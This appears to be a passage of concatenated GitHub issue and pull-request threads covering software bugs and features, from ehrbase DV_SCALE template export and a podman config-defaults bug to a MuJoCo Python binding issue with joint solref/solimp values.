          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        },
        {
          "suffix": "month",
          "type": "INTEGER",
          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        },
        {
          "suffix": "day",
          "type": "INTEGER",
          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        },
        {
          "suffix": "week",
          "type": "INTEGER",
          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        },
        {
          "suffix": "hour",
          "type": "INTEGER",
          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        },
        {
          "suffix": "minute",
          "type": "INTEGER",
          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        },
        {
          "suffix": "second",
          "type": "INTEGER",
          "validation": {
            "range": {
              "min": 0,
              "minOp": ">="
            }
          }
        }
      ],
      "inContext": true
    },
    {
      "id": "quantity_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_QUANTITY",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "magnitude",
          "type": "DECIMAL"
        },
        {
          "suffix": "unit",
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "count_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_COUNT",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "INTEGER"
        }
      ],
      "inContext": true
    },
    {
      "id": "proportion_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_PROPORTION",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "numerator",
          "type": "DECIMAL"
        },
        {
          "suffix": "denominator",
          "type": "DECIMAL"
        }
      ],
      "inContext": true,
      "proportionTypes": [
        "ratio",
        "unitary",
        "percent",
        "fraction",
        "integer_fraction"
      ]
    },
    {
      "id": "date_time_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_DATE_TIME",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "DATETIME"
        }
      ],
      "inContext": true
    },
    {
      "id": "time_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_TIME",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "TIME"
        }
      ],
      "inContext": true
    },
    {
      "id": "ordinal_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_ORDINAL",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "CODED_TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "date_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_DATE",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "DATE"
        }
      ],
      "inContext": true
    }
  ]
}

Expected result (Acceptance Criteria)
The ideal would probably be the same as how Archetype Designer exports the node:
{
  "id": "amount_of_breathlessness",
  "name": "Amount of breathlessness",
  "localizedName": "Amount of breathlessness",
  "rmType": "DV_SCALE",
  "nodeId": "at0004",
  "min": 1,
  "max": 1,
  "localizedNames": {
    "en": "Amount of breathlessness"
  },
  "localizedDescriptions": {
    "en": "The amount of breathlessness the patient is currently experiencing"
  },
  "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
  "inputs": [
    {
      "type": "CODED_TEXT",
      "list": [
        {
          "value": "at0005",
          "label": "No breathlessness",
          "localizedLabels": {
            "en": "No breathlessness"
          },
          "localizedDescriptions": {
            "en": "No feelings of breathlessness at all."
          },
          "scale": 0.0
        },
        {
          "value": "at0006",
          "label": "Very, very slight",
          "localizedLabels": {
            "en": "Very, very slight"
          },
          "localizedDescriptions": {
            "en": "Breathlessness just noticeable."
          },
          "scale": 0.5
        },
        {
          "value": "at0007",
          "label": "Very slight",
          "localizedLabels": {
            "en": "Very slight"
          },
          "localizedDescriptions": {
            "en": ""
          },
          "scale": 1.0
        },
        {
          "value": "at0008",
          "label": "Slight",
          "localizedLabels": {
            "en": "Slight"
          },
          "localizedDescriptions": {
            "en": ""
          },
          "scale": 2.0
        },
        {
          "value": "at0009",
          "label": "Moderate",
          "localizedLabels": {
            "en": "Moderate"
          },
          "localizedDescriptions": {
            "en": ""
          },
          "scale": 3.0
        },
        {
          "value": "at0010",
          "label": "Somewhat severe",
          "localizedLabels": {
            "en": "Somewhat severe"
          },
          "localizedDescriptions": {
            "en": ""
          },
          "scale": 4.0
        },
        {
          "value": "at0011",
          "label": "Severe",
          "localizedLabels": {
            "en": "Severe"
          },
          "localizedDescriptions": {
            "en": ""
          },
          "scale": 5.0
        },
        {
          "value": "at0016",
          "label": "Severe (+)",
          "localizedLabels": {
            "en": "Severe (+)"
          },
          "localizedDescriptions": {
            "en": "More than severe but less than very severe."
          },
          "scale": 6.0
        },
        {
          "value": "at0012",
          "label": "Very severe",
          "localizedLabels": {
            "en": "Very severe"
          },
          "localizedDescriptions": {
            "en": ""
          },
          "scale": 7.0
        },
        {
          "value": "at0017",
          "label": "Very severe (+)",
          "localizedLabels": {
            "en": "Very severe (+)"
          },
          "localizedDescriptions": {
            "en": "More than very severe but less than very very severe."
          },
          "scale": 8.0
        },
        {
          "value": "at0013",
          "label": "Very, very severe",
          "localizedLabels": {
            "en": "Very, very severe"
          },
          "localizedDescriptions": {
            "en": "Almost intolerable."
          },
          "scale": 9.0
        },
        {
          "value": "at0014",
          "label": "Maximal",
          "localizedLabels": {
            "en": "Maximal"
          },
          "localizedDescriptions": {
            "en": "Intolerable."
          },
          "scale": 10.0
        }
      ]
    }
  ]
}

But I understand there are some differences between Archetype Designer and ehrbase for DV_ORDINAL, so I would assume those same differences would also apply to DV_SCALE given how similar they are.
Thanks again for all your hard work :heart_eyes:
Definition of Done

[ ] The defect is checked by an unit or an integration test (Robot)
[ ] Merge Request approved
[ ] Unit tests passed
[ ] Build without errors
[ ] Release notes prepared
[ ] No additional runtime warnings

DV_SCALE is a new RM_Object  (I assume it is from 1.1.0 release) and not supported in erhbase


Error in NioFileRegionTest

Error in NioFileRegionTest. The logs will be uploaded.
Running org.apache.mina.transport.socket.nio.NioFileRegionTest
Tests run: 1, Failures: 0, Errors: 1, Skipped: 0, Time elapsed: 0.041 sec <<< FAILURE!

log.txt | uploaded via ZenHub
Logs uploaded

Suggestion is to ignore this test as its in mina.core

We have upgraded NIO Netty.


Structural output - LoginGoogleAccount

Plan
According to the description of epic #1728, prepare a specification document for the structural output based on the following requirements:

Identify all places that are producing console logs and list them in the specification.
Specify dedicated types and structures for logs with places (packages and namespaces) for them.
Specify proposition how to pass out function reference to low-level functions that producing logs.

Make sure that specification is sufficient to implement structured output without a doubt.
Command
LoginGoogleAccount

Places which produce output logs

Printing URL to loginUserAuth#L92-93
logLn("Visit the following URL in your browser:")
logLn(url)

`

User token saved ftl.client.google.UserAuth#L118-119
logLn()
logLn("User token saved to $userToken")

Structures for messages
sealed interface LoginState {
    data class LoginStarted(val url: String) : LoginState
    data class LoginFinished(val tokenLocation: String) : LoginState
}

Proposition of passing out function

UserAuth#requestmethod will return Flow<LoginState>

api contract will be changed
from
object UserAuthorization {
    interface Request : () -> Unit
}

to
object UserAuthorization {
    interface Request : () -> Flow<LoginState>
}

LoginGoogleAcount#invoke will observe new flow and pass all collected LoginStateto out() function

LoginCommandwill be responsible for printing correct message based on LoginState


CypressError: cy.task('compareSnapshotsPlugin') failed with the following error:

Running  ./node_modules/.bin/cypress run --env type=base --config screenshotsFolder=cypress/snapshots/base is fine but...
I am getting this error after running ./node_modules/.bin/cypress run --env type=actual
`
CypressError: cy.task('compareSnapshotsPlugin') failed with the following error:
The 'task' event has not been registered in the plugins file. You must register it before using cy.task()
Fix this in your plugins file here:
cypress/plugins/index.js
https://on.cypress.io/api/task
`
cypress/support/commands.js
const compareSnapshotCommand = require('cypress-visual-regression/dist/command'); compareSnapshotCommand();
cypress/plugins/index.js
const getCompareSnapshotsPlugin = require('cypress-visual-regression/dist/plugin'); module.exports = on => {   getCompareSnapshotsPlugin(on); };
/.d.ts
declare module 'cypress-visual-regression/dist/plugin';
/cypress.json
{   "screenshotsFolder": "cypress/snapshots/actual",   "trashAssetsBeforeRuns": true }

@solomono10 How did you resolve this?

Hi ,
I have a same issue.
CypressError
cy.task('rp_screenshot') failed with the following error:
The task 'rp_screenshot' was not handled in the plugins file. The following tasks are registered: compareSnapshotsPlugin, copyScreenshot, generateReport


Use correct react globals

This library's umd build does not work with react's because it refers to react instead of React.
Open the developer console to see the error.
https://jsfiddle.net/xa01mk53/

@brkc Thanks!


Allow request to automatically geolocate based on client IP

This work is based on PR #42, but has been squashed and pulled into the future.
There was some contention around the naming of the previous configuration option, I've opted for geolocate here in an effort to express the intent.  When I set this option true, any message that is sent to mixpanel will be geolocated based on the request's source ip.
The use cases for this are effectively any sort of node code that is distributed to users - whether that be in electron/nw.js or even something as simple as a cli package installed with npm i -g.

This PR saves my day :+1:
Thanks @tmpvar

Whew, this was finally updated and released in v0.16.0. Apologies for the delay.


Implement buffer protocol for RustyBuffer

[x] Implement buffer protocol for RustyBuffer
[x] Update de/compress function to return RustyBuffer (It's zero copy to use bytes, bytearray or others implementing buffer protocol to view the underlying bytes in RustyBuffer, so the user can choose what they want to view it as)
[ ] Update benchmarks
[ ] Update CI to use matrix of Python versions, as it seems abi3 is not supported for implementing PyBufferProtocol

@martindurant
This is probably a performance improvement that you'd care about; good news, it's at least as fast as python-snappy.  Do you have a simple way to update the linux and linux-cross builds? I see it's using docker with python 3.8 and will need to update each with matrix for all versions without abi3 now I suppose.
I'll poke around and fix it myself if you didn't have time, just thought you probably already know more about this area. :smiley:

That's the one!

@messense I had to drop abi3 feature support b/c use of PyBufferProtocol. Do you have a simple way to update the linux and linux-cross builds? I see it's using docker with python 3.8 and will need to update each with matrix for all versions without abi3 now I suppose.
I'll poke around and fix it myself if you didn't have time, just thought you probably already know more about this area. 😃

Working on it. linux cross build is tricky, we could just disable it for now and fix it later.

Please ping me when this makes it into release.

Also, quick question: did this happen to implement passing of python buffer-like objects as inputs too, for the origin of the compressed data and/or for the _into functions? Asking for curiosity.

_maybe_open_or_copy_to_local is taking a disproportionate amount of time, considering no work should be happening within the function - but maybe the profiler is not able to follow the contexts very well. Is this is local cache or no?

@martindurant  Sure thing, I'll let you know!

Also, quick question: did this happen to implement passing of python buffer-like objects as inputs too, for the origin of the compressed data and/or for the _into functions? Asking for curiosity.

Depends what you mean exactly; all variants, to include _into, can accept numpy.array, bytes, bytearray, cramjam.File or cramjam.Buffer. The _into options, allow for any combination of input/output of the aforementioned buffer-like objects. However, if you're thinking something like io.BytesIO that won't work, no.

_maybe_open_or_copy_to_local is taking a disproportionate amount of time, considering no work should be happening within the function - but maybe the profiler is not able to follow the contexts very well. Is this is local cache or no?

I'm not sure what you mean, can you elaborate?

_into, can accept numpy.array, bytes, bytearray, cramjam.File or cramjam.Buffer

That covers all possibilities except a raw buffer, any class supporting the low-level buffer API. I don't think that includes BytesIO anyway. Since the list has bytearray and you can memoryview that or numpy, I think all is good.
In [5]: np.frombuffer(io.BytesIO(b"\x00\x00"), dtype='uint8')
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-5-28ba73ab06d2> in <module>
----> 1 np.frombuffer(io.BytesIO(b"\x00\x00"), dtype='uint8')

TypeError: a bytes-like object is required, not '_io.BytesIO'

In [6]: np.frombuffer(bytearray(b"\x00\x00"), dtype='uint8')
Out[6]: array([0, 0], dtype=uint8)

In [7]: np.frombuffer(memoryview(bytearray(b"\x00\x00")), dtype='uint8')
Out[7]: array([0, 0], dtype=uint8)

I'm not sure what you mean, can you elaborate?

Freak paste into the wrong window, please ignore!

FYI, PyO3 will support IOError on PyPy in future releases, see https://github.com/PyO3/pyo3/pull/1533

Thanks for that, much better solution. :ok_hand:


[podman] set defaults if not set in configuration

Is this a BUG REPORT or FEATURE REQUEST?
/kind bug
Description
Normally, when you comment out a line in a config file or just forget to add the parameter, the defaults are used. This doesn't happen in podman right now: it breaks with an error.
Steps to reproduce the issue:
1.
cat < EOF > /home/podman/rootless.conf
# Paths to look for the Conmon container manager binary
conmon_path = [ "/home/podman/podman/usr/local/libexec/crio/conmon" ]

# Environment variables to pass into conmon
# conmon_env_vars = [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ]

# CGroup Manager - valid values are "systemd" and "cgroupfs"
cgroup_manager = "systemd"

# Container init binary
init_path = "/home/podman/podman/usr/libexec/podman/catatonit"

# Directory for persistent libpod files (database, etc)
static_dir = "/home/podman/podman/containers/"

# Directory for temporary files. Must be tmpfs (wiped after reboot)
# tmp_dir = "/var/run/libpod"

# Maximum size of log files (in bytes)
# -1 is unlimited
max_log_size = -1

# Whether to use chroot instead of pivot_root in the runtime
no_pivot_root = false

# Default OCI runtime
runtime = "runc"

# num_locks = 2048

# Paths to look for a valid OCI runtime (runc, runv, etc)
[runtimes]
runc = [ "/home/podman/podman/usr/local/sbin/runc" ]
EOF

~/podman/usr/local/bin/podman --log-level=debug --config /home/podman/rootless.conf run busybox sh

Describe the results you received:
INFO[0000] running as rootless
DEBU[0000] Initializing boltdb state at /home/podman/podman/containers/bolt_state.db
DEBU[0000] Using graph driver vfs
DEBU[0000] Using graph root /home/podman/.local/share/containers/storage
DEBU[0000] Using run root /home/podman/rundir
DEBU[0000] Using static dir /home/podman/podman/containers/
DEBU[0000] Using tmp dir /home/podman/rundir/libpod/tmp
DEBU[0000] Using volume path /home/podman/.local/share/containers/storage/volumes
DEBU[0000] Set libpod namespace to ""
DEBU[0000] Not configuring container store
ERRO[0000] error creating libpod runtime: number of locks must be greater than 0: invalid argumen

Output of podman version:
Version:            1.2.0-dev
RemoteAPI Version:  1
Go Version:         go1.11.5
Git Commit:         1466c8a2f8020c5cc1541348f5f6533239f94136
Built:              Mon Mar 11 20:18:28 2019
OS/Arch:            linux/amd64

Output of podman info --debug:
Error: could not get runtime: could not find a working binary (configured options: map[runc:[/usr/bin/runc /usr/sbin/runc /usr/local/bin/runc /usr/local/sbin/runc /sbin/runc /bin/runc /usr/lib/cri-o-runc/sbin/runc]]): invalid argument

See https://github.com/containers/libpod/issues/2614
Additional environment details (AWS, VirtualBox, physical, etc.):
Debian 9 on VirtualBox 6 on Windows 10 on AMD 64

Instead of specifying runc above in your rootless.conf, could you specify the full path?

Instead of specifying runc above in your rootless.conf, could you specify the full path?

Do you mean
runc = [ "/home/podman/podman/usr/local/sbin/runc" ]

@giuseppe Is this correct?

Should have been fixed... it's still a big messy, but not a blocker as before. I'll reopen, if the problem reoccurs.


Updated command for Univar-Stats.dml algorithm in Univariate Statistic example in standalone-guide.md

Updated Univar-Stats.dml command by changing missing file runStandaloneSystemDS.sh file to systemds file in the Univariate Statistic example.

This looks okay.


Upgrade jax, jaxlib

Also set logging level to info by default

BRC GPUs must have been upgraded because with the old versions the GPUs are not being recognized by jax.


parser: Fix mavlink v2 order of fields and extra crc

From the documentation:
https://mavlink.io/en/guide/serialization.html#field_reordering
Fix #61
Fix #62
Signed-off-by: Patrick José Pereira<EMAIL_ADDRESS>

ping @podhrmic.
If the mavlink organization is interested, I can help to maintain this repository since I'm already the 1# contributor, #6 contributor in QGC and a community contributor for more than 4 years~. Maybe @dagar can give a positive vote for that.

@patrickelectric I definitely agree - I don't have the rights to add you as an admin (or at least as a contributor), but I fully support this idea!


JAVA-1064: getTable create statement doesn't properly handle quotes in primary key.

Also fixes reserved keywords.

Looks good :+1:


Update how-to-deploy-existing-model.md

@j-martens : Thanks for your contribution! The author(s) have been notified to review your proposed change.


MjSpec with attachment results in suspicious sol{ref,imp} values

Intro
Hi!
I am a MuJoCo user working on manipulation.
My setup
MuJoCo:
$ python -c "import mujoco; print(mujoco.__version__)"
3.2.5

What's happening? What did you expect?
When I attach a model to another using MjsSite.attach, the joints' sol{ref,imp} values seem to change. I'm not sure if this is a bug or not, but it feels a little suspicious to me. The following code demonstrates what's happening. (The code is a bit verbose, although still relatively simple.)
import mujoco
import numpy as np
from robot_descriptions import fr3_mj_description
from robot_descriptions import shadow_dexee_mj_description

def main():
    hand_spec = mujoco.MjSpec.from_file(shadow_dexee_mj_description.MJCF_PATH)
    hand_model = hand_spec.compile()
    arm_spec = mujoco.MjSpec.from_file(fr3_mj_description.MJCF_PATH)
    arm_model = arm_spec.compile()

    print("\nHand joints:")
    for joint in range(hand_model.njnt):
        joint_name = hand_model.joint(joint).name
        solref = hand_model.joint(joint).solref.tolist()
        solimp = hand_model.joint(joint).solimp.tolist()
        print(f"  {joint_name=}:\t{solref=}\t{solimp=}")

    print("\nArm joints:")
    for joint in range(arm_model.njnt):
        joint_name = arm_model.joint(joint).name
        solref = arm_model.joint(joint).solref.tolist()
        solimp = arm_model.joint(joint).solimp.tolist()
        print(f"  {joint_name=}:\t{solref=}\t{solimp=}")

    combined_spec = arm_spec.copy()

    attachment_site = next(
        s for s in combined_spec.sites if s.name == "attachment_site"
    )
    attachment_site.attach(hand_spec.worldbody, "hand_base:", "")

    combined_model = combined_spec.compile()

    joint_keys = {
        # "M0", This probably changes?
        "armature",
        "axis",
        "damping",
        "frictionloss",
        "limited",
        "margin",
        "pos",
        "qpos0",
        "qpos_spring",
        "range",
        "simplenum",
        "solimp",
        "solref",
        "stiffness",
        "type",
    }

    print("\nChecking hand joints:")
    for joint_i in range(hand_model.njnt):
        hand_joint = hand_model.joint(joint_i)
        joint_name = hand_joint.name
        combined_joint = combined_model.joint(f"hand_base:{joint_name}")

        print(f"Checking joint {joint_name}")

        for key in joint_keys:
            hand_joint_value = getattr(hand_joint, key)
            combined_joint_value = getattr(combined_joint, key)

            if not np.allclose(hand_joint_value, combined_joint_value):
                print(
                    f"{key} does not match: {hand_joint_value} != {combined_joint_value}"
                )

    print("\nChecking arm joints:")
    for joint_i in range(arm_model.njnt):
        arm_joint = arm_model.joint(joint_i)
        joint_name = arm_joint.name
        combined_joint = combined_model.joint(f"{joint_name}")

        print(f"Checking joint {joint_name}")

        for key in joint_keys:
            arm_joint_value = getattr(arm_joint, key)
            combined_joint_value = getattr(combined_joint, key)

            if not np.allclose(arm_joint_value, combined_joint_value):
                print(
                    f"{key} does not match: {arm_joint_value} != {combined_joint_value}"
                )

if __name__ == "__main__":
    main()

Output:
Hand joints:
  joint_name='F0/J0':   solref=[[0.02, 1.0]]    solimp=[[0.9, 0.95, 0.001, 0.5, 2.0]]
  joint_name='F0/J1':   solref=[[1.0, 0.02]]    solimp=[[0.95, 0.001, 0.5, 2.0, 0.9]]
  joint_name='F0/J2':   solref=[[0.02, 1.0]]    solimp=[[0.001, 0.5, 2.0, 0.9, 0.95]]
  joint_name='F0/J3':   solref=[[1.0, 0.02]]    solimp=[[0.5, 2.0, 0.9, 0.95, 0.001]]
  joint_name='F1/J0':   solref=[[0.02, 1.0]]    solimp=[[2.0, 0.9, 0.95, 0.001, 0.5]]
  joint_name='F1/J1':   solref=[[1.0, 0.02]]    solimp=[[0.9, 0.95, 0.001, 0.5, 2.0]]
  joint_name='F1/J2':   solref=[[0.02, 1.0]]    solimp=[[0.95, 0.001, 0.5, 2.0, 0.9]]
  joint_name='F1/J3':   solref=[[1.0, 0.02]]    solimp=[[0.001, 0.5, 2.0, 0.9, 0.95]]
  joint_name='F2/J0':   solref=[[0.02, 1.0]]    solimp=[[0.5, 2.0, 0.9, 0.95, 0.001]]
  joint_name='F2/J1':   solref=[[1.0, 0.02]]    solimp=[[2.0, 0.9, 0.95, 0.001, 0.5]]
  joint_name='F2/J2':   solref=[[0.02, 1.0]]    solimp=[[0.9, 0.95, 0.001, 0.5, 2.0]]
  joint_name='F2/J3':   solref=[[1.0, 0.02]]    solimp=[[0.95, 0.001, 0.5, 2.0, 0.9]]

Arm joints:
  joint_name='fr3_joint1':      solref=[[0.02, 1.0]]    solimp=[[0.9, 0.95, 0.001, 0.5, 2.0]]
  joint_name='fr3_joint2':      solref=[[1.0, 0.02]]    solimp=[[0.95, 0.001, 0.5, 2.0, 0.9]]
  joint_name='fr3_joint3':      solref=[[0.02, 1.0]]    solimp=[[0.001, 0.5, 2.0, 0.9, 0.95]]
  joint_name='fr3_joint4':      solref=[[1.0, 0.02]]    solimp=[[0.5, 2.0, 0.9, 0.95, 0.001]]
  joint_name='fr3_joint5':      solref=[[0.02, 1.0]]    solimp=[[2.0, 0.9, 0.95, 0.001, 0.5]]
  joint_name='fr3_joint6':      solref=[[1.0, 0.02]]    solimp=[[0.9, 0.95, 0.001, 0.5, 2.0]]
  joint_name='fr3_joint7':      solref=[[0.02, 1.0]]    solimp=[[0.95, 0.001, 0.5, 2.0, 0.9]]

Checking hand joints:
Checking joint F0/J0
solref does not match: [[0.02 1.  ]] != [[1.   0.02]]
solimp does not match: [[9.0e-01 9.5e-01 1.0e-03 5.0e-01 2.0e+00]] != [[1.0e-03 5.0e-01 2.0e+00 9.0e-01 9.5e-01]]
Checking joint F0/J1
solref does not match: [[1.   0.02]] != [[0.02 1.  ]]
solimp does not match: [[9.5e-01 1.0e-03 5.0e-01 2.0e+00 9.0e-01]] != [[5.0e-01 2.0e+00 9.0e-01 9.5e-01 1.0e-03]]
Checking joint F0/J2
solref does not match: [[0.02 1.  ]] != [[1.   0.02]]
solimp does not match: [[1.0e-03 5.0e-01 2.0e+00 9.0e-01 9.5e-01]] != [[2.0e+00 9.0e-01 9.5e-01 1.0e-03 5.0e-01]]
Checking joint F0/J3
solref does not match: [[1.   0.02]] != [[0.02 1.  ]]
solimp does not match: [[5.0e-01 2.0e+00 9.0e-01 9.5e-01 1.0e-03]] != [[9.0e-01 9.5e-01 1.0e-03 5.0e-01 2.0e+00]]
Checking joint F1/J0
solref does not match: [[0.02 1.  ]] != [[1.   0.02]]
solimp does not match: [[2.0e+00 9.0e-01 9.5e-01 1.0e-03 5.0e-01]] != [[9.5e-01 1.0e-03 5.0e-01 2.0e+00 9.0e-01]]
Checking joint F1/J1
solref does not match: [[1.   0.02]] != [[0.02 1.  ]]
solimp does not match: [[9.0e-01 9.5e-01 1.0e-03 5.0e-01 2.0e+00]] != [[1.0e-03 5.0e-01 2.0e+00 9.0e-01 9.5e-01]]
Checking joint F1/J2
solref does not match: [[0.02 1.  ]] != [[1.   0.02]]
solimp does not match: [[9.5e-01 1.0e-03 5.0e-01 2.0e+00 9.0e-01]] != [[5.0e-01 2.0e+00 9.0e-01 9.5e-01 1.0e-03]]
Checking joint F1/J3
solref does not match: [[1.   0.02]] != [[0.02 1.  ]]
solimp does not match: [[1.0e-03 5.0e-01 2.0e+00 9.0e-01 9.5e-01]] != [[2.0e+00 9.0e-01 9.5e-01 1.0e-03 5.0e-01]]
Checking joint F2/J0
solref does not match: [[0.02 1.  ]] != [[1.   0.02]]
solimp does not match: [[5.0e-01 2.0e+00 9.0e-01 9.5e-01 1.0e-03]] != [[9.0e-01 9.5e-01 1.0e-03 5.0e-01 2.0e+00]]
Checking joint F2/J1
solref does not match: [[1.   0.02]] != [[0.02 1.  ]]
solimp does not match: [[2.0e+00 9.0e-01 9.5e-01 1.0e-03 5.0e-01]] != [[9.5e-01 1.0e-03 5.0e-01 2.0e+00 9.0e-01]]
Checking joint F2/J2
solref does not match: [[0.02 1.  ]] != [[1.   0.02]]
solimp does not match: [[9.0e-01 9.5e-01 1.0e-03 5.0e-01 2.0e+00]] != [[1.0e-03 5.0e-01 2.0e+00 9.0e-01 9.5e-01]]
Checking joint F2/J3
solref does not match: [[1.   0.02]] != [[0.02 1.  ]]
solimp does not match: [[9.5e-01 1.0e-03 5.0e-01 2.0e+00 9.0e-01]] != [[5.0e-01 2.0e+00 9.0e-01 9.5e-01 1.0e-03]]

Checking arm joints:
Checking joint fr3_joint1
Checking joint fr3_joint2
Checking joint fr3_joint3
Checking joint fr3_joint4
Checking joint fr3_joint5
Checking joint fr3_joint6
Checking joint fr3_joint7

I was expecting the sol{imp,ref} values to match between each attached joint and its corresponding joint in the non-attached model, but for some reason they seem to get mixed.
It's also a bit surprising to me that even for the non-attached model, some joints have solref == [1, 0.02] and other solref == [0.02, 1] even though none of these parameters are set in the model xml.
Edit: The results of these are so surprising to me that I feel like this has to be expected and I just misunderstand something. I spent a bit of time crawling through the documentation but couldn't find anything that would've explain this.
Steps for reproduction
See above.
Minimal model for reproduction
See above.
Code required for reproduction
See above.
Confirmations

[X] I searched the latest documentation thoroughly before posting.
[X] I searched previous Issues and Discussions, I am certain this has not been raised before.

I can't reproduce it in C so this looks like a binding issue (likely not even related to mjSpec). I'm having a deeper look. My MRE is
  def test_solref(self):
    spec = mujoco.MjSpec.from_string("""
      <mujoco>
        <worldbody>
          <body>
            <geom size=".1"/>
            <joint axis="0 0 1"/>
            <body>
              <geom size=".1"/>
              <joint axis="0 0 1"/>
            </body>
          </body>
        </worldbody>
      </mujoco>
    """)

    model = spec.compile()
    for joint in range(model.njnt):
      solref = model.joint(joint).solref
      solimp = model.joint(joint).solimp
      np.testing.assert_array_equal(solref, [[0.02, 1]])
      np.testing.assert_array_equal(solimp, [[0.9, 0.95, 0.001, 0.5, 2.0]])

In the meantime, could you please see if extracting the values with
solref = model.jnt_solref[i]
solimp = model.jnt_solimp[i]

fixes your issue?

Indeed, extracting the values directly works as expected. Here's a bit simpler test case that passes:
import mujoco
import numpy as np
from robot_descriptions import fr3_mj_description
from robot_descriptions import shadow_dexee_mj_description

def main():

    hand_spec = mujoco.MjSpec.from_file(shadow_dexee_mj_description.MJCF_PATH)
    hand_model = hand_spec.compile()
    arm_spec = mujoco.MjSpec.from_file(fr3_mj_description.MJCF_PATH)
    arm_model = arm_spec.compile()

    combined_spec = arm_spec.copy()

    attachment_site = next(s for s in combined_spec.sites if s.name == "attachment_site")
    attachment_site.attach(hand_spec.worldbody, "hand_base:", "")

    combined_model = combined_spec.compile()

    np.testing.assert_equal(
        hand_model.jnt_solref,
        combined_model.jnt_solref[None:hand_model.njnt, ...],
    )
    np.testing.assert_equal(
        arm_model.jnt_solref,
        combined_model.jnt_solref[hand_model.njnt:None, ...],
    )
    np.testing.assert_equal(
        hand_model.jnt_solimp,
        combined_model.jnt_solimp[None:hand_model.njnt, ...],
    )
    np.testing.assert_equal(
        arm_model.jnt_solimp,
        combined_model.jnt_solimp[hand_model.njnt:None, ...],
    )

if __name__ == "__main__":
    main()


More screenshots!

It'd be great to see some screenshots that walk a buyer through the purchasing experience and how the view differs from a traditional purchase. The article makes reference to invoicing, so it is not clear to me if the expectation is to treat the purchase as an invoicing procurement or if there's a special "Azure credits" option the customer can select to use the MACC program.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e4bab3b5-9480-9b24-553a-09a5aea82726
Version Independent ID: 47ec76d4-387a-dd9b-e92c-f310a1788651
Content: Azure consumption commitment benefit - Azure Marketplace
Content Source: articles/marketplace/azure-consumption-commitment-benefit.md
Service: marketplace
Sub-service: partnercenter-marketplace-publisher
GitHub Login: @emuench
Microsoft Alias: mingshen

@RonMontU Thanks for your feedback!
I have assigned the issue to the content author for further review.

#please-assign:mingshen

#reassign:mingshen

mingshen is not a valid GitHub ID, or is not a collaborator on this repo.

@stmummer Can you follow up on this?

Thank you for bringing this to our attention. Based on our experience, this is a very narrow scenario that has never been experienced by another publisher. We will monitor this and if it becomes a more common issue, edit our documentation accordingly. If this does not resolve your question(s), please provide additional information, or submit a support ticket at https://docs.microsoft.com/en-us/azure/marketplace/support. Thank you for contributing! #please-close


[My Collection] Fix scroll bug on my collections artwork list

The type of this PR is: Bugfix

Description
